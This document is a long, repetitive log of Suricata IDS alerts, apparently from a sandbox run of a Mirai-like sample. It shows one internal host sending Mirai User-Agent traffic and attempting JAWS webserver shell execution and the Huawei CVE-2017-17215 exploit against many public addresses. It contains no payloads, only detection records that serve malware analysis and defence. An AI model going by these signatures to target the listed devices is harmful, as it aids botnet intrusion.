              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:37540 -> 41.76.192.116:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:35066 -> 145.33.190.157:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:50074 -> 112.198.79.120:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:35066 -> 145.33.190.157:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:50074 -> 112.198.79.120:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:37540 -> 41.76.192.116:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:50600 -> 90.249.44.175:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:50600 -> 90.249.44.175:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:42146 -> 138.192.209.119:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:42146 -> 138.192.209.119:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:33170 -> 64.184.219.41:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:33170 -> 64.184.219.41:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44158 -> 131.115.153.201:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44158 -> 131.115.153.201:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:32982 -> 74.123.234.35:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:32982 -> 74.123.234.35:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:53118 -> 95.58.153.193:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:53118 -> 95.58.153.193:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:35992 -> 176.69.242.94:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:35992 -> 176.69.242.94:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:56466 -> 32.125.248.35:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:56466 -> 32.125.248.35:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60176 -> 193.206.198.78:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:60176 -> 193.206.198.78:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44382 -> 135.89.3.44:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44382 -> 135.89.3.44:80
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:44246 -> 197.128.128.146:37215
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:48300 -> 49.209.5.244:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:48300 -> 49.209.5.244:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:48708 -> 117.110.109.99:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:48708 -> 117.110.109.99:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:52612 -> 217.189.104.34:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:52612 -> 217.189.104.34:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45074 -> 217.19.114.229:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:45074 -> 217.19.114.229:80
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:43480 -> 156.113.104.220:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:45386 -> 197.101.175.187:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:49248 -> 197.173.204.9:37215
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:35484 -> 87.101.119.206:80
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:44632 -> 156.133.165.115:37215
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:35484 -> 87.101.119.206:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41066 -> 107.228.249.17:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41066 -> 107.228.249.17:80
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:35176 -> 41.171.44.196:37215
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:51184 -> 81.193.189.217:80
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:55748 -> 197.79.45.182:37215
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60208 -> 194.223.37.30:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:36520 -> 206.218.156.58:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:60208 -> 194.223.37.30:80
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:52614 -> 41.238.72.229:37215
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:51184 -> 81.193.189.217:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:36520 -> 206.218.156.58:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57674 -> 74.248.70.53:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60984 -> 207.44.6.28:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57674 -> 74.248.70.53:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:46738 -> 110.74.199.97:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:60984 -> 207.44.6.28:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:46738 -> 110.74.199.97:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:33370 -> 168.200.219.64:80
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:52214 -> 197.168.254.205:37215
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:33370 -> 168.200.219.64:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59832 -> 36.177.131.90:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59832 -> 36.177.131.90:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41216 -> 160.108.6.246:80
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:35412 -> 197.99.145.0:37215
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41216 -> 160.108.6.246:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41030 -> 53.125.178.189:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41030 -> 53.125.178.189:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:47686 -> 166.27.48.146:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:47686 -> 166.27.48.146:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:58364 -> 105.92.24.72:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:58364 -> 105.92.24.72:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41526 -> 13.3.191.55:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41526 -> 13.3.191.55:80
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:53062 -> 41.23.152.112:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33232 -> 156.48.44.46:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:35240 -> 197.81.114.155:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:34430 -> 156.127.13.240:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:39288 -> 197.28.236.190:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:37732 -> 197.68.34.74:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:34144 -> 156.42.173.143:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33936 -> 41.181.27.30:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:46538 -> 41.199.42.109:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:43802 -> 156.7.205.183:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33164 -> 156.104.224.250:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:52520 -> 156.101.193.95:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:37132 -> 41.240.1.22:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:40604 -> 156.153.176.175:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:56700 -> 156.55.85.23:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:41480 -> 197.142.95.104:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:41580 -> 156.196.177.232:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:34056 -> 156.79.85.120:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:58986 -> 197.120.27.107:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:53868 -> 197.175.227.30:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:54908 -> 41.50.237.224:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:46372 -> 156.225.40.131:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:56056 -> 197.81.131.1:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:45390 -> 41.28.122.113:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:42006 -> 156.54.52.64:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:41428 -> 41.118.107.113:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:50496 -> 197.48.57.207:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:37612 -> 197.3.73.65:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:37080 -> 156.2.32.205:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33986 -> 156.47.233.200:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:42332 -> 197.171.142.249:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:50508 -> 197.45.230.253:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:38650 -> 156.124.6.104:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:51038 -> 197.170.158.13:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:43914 -> 156.181.180.180:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:46716 -> 197.21.86.41:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:39802 -> 156.202.143.176:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:39030 -> 197.119.32.21:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:45448 -> 41.65.89.176:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:53898 -> 41.150.130.73:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:34594 -> 41.197.26.189:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:50342 -> 197.186.102.78:37215
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:46348 -> 133.155.42.209:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:46348 -> 133.155.42.209:80
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:55338 -> 41.122.67.190:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:51536 -> 156.144.180.222:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:48274 -> 156.45.45.252:37215
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38022 -> 41.75.167.181:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:38022 -> 41.75.167.181:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59036 -> 125.159.204.221:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:40820 -> 176.250.219.218:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:40820 -> 176.250.219.218:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59036 -> 125.159.204.221:80
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:39304 -> 156.122.138.23:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:43094 -> 197.129.180.180:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:35226 -> 197.197.150.3:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:44164 -> 41.53.240.91:37215
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:56428 -> 69.10.3.184:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57228 -> 173.42.62.157:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57228 -> 173.42.62.157:80
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:41336 -> 41.211.150.253:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:60772 -> 156.97.251.247:37215
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:56428 -> 69.10.3.184:80
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:49936 -> 156.67.180.155:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:56642 -> 41.244.31.150:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:47960 -> 156.151.133.165:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:60052 -> 156.191.5.57:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:40938 -> 197.22.3.218:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:56378 -> 41.49.33.245:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:51584 -> 156.87.239.158:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:55824 -> 156.251.110.116:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:34606 -> 197.117.181.6:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33220 -> 156.151.72.168:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:34756 -> 41.5.104.100:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:60136 -> 41.47.204.108:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:40366 -> 41.131.210.92:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:54336 -> 41.214.171.165:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:47286 -> 197.213.171.136:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:35618 -> 41.235.181.100:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:38810 -> 156.200.241.129:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:35786 -> 197.16.62.185:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:55904 -> 41.80.208.217:37215
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:36524 -> 41.39.127.227:37215
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41344 -> 98.23.1.12:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41344 -> 98.23.1.12:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:36772 -> 209.190.249.42:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:40432 -> 85.157.24.226:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:36772 -> 209.190.249.42:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:40432 -> 85.157.24.226:80
              Source: Network trafficSuricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:47920 -> 104.94.218.168:80
              Source: Network trafficSuricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:47920 -> 104.94.218.168:80
              Source: Network trafficSuricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:44880 -> 197.5.171.9:37215
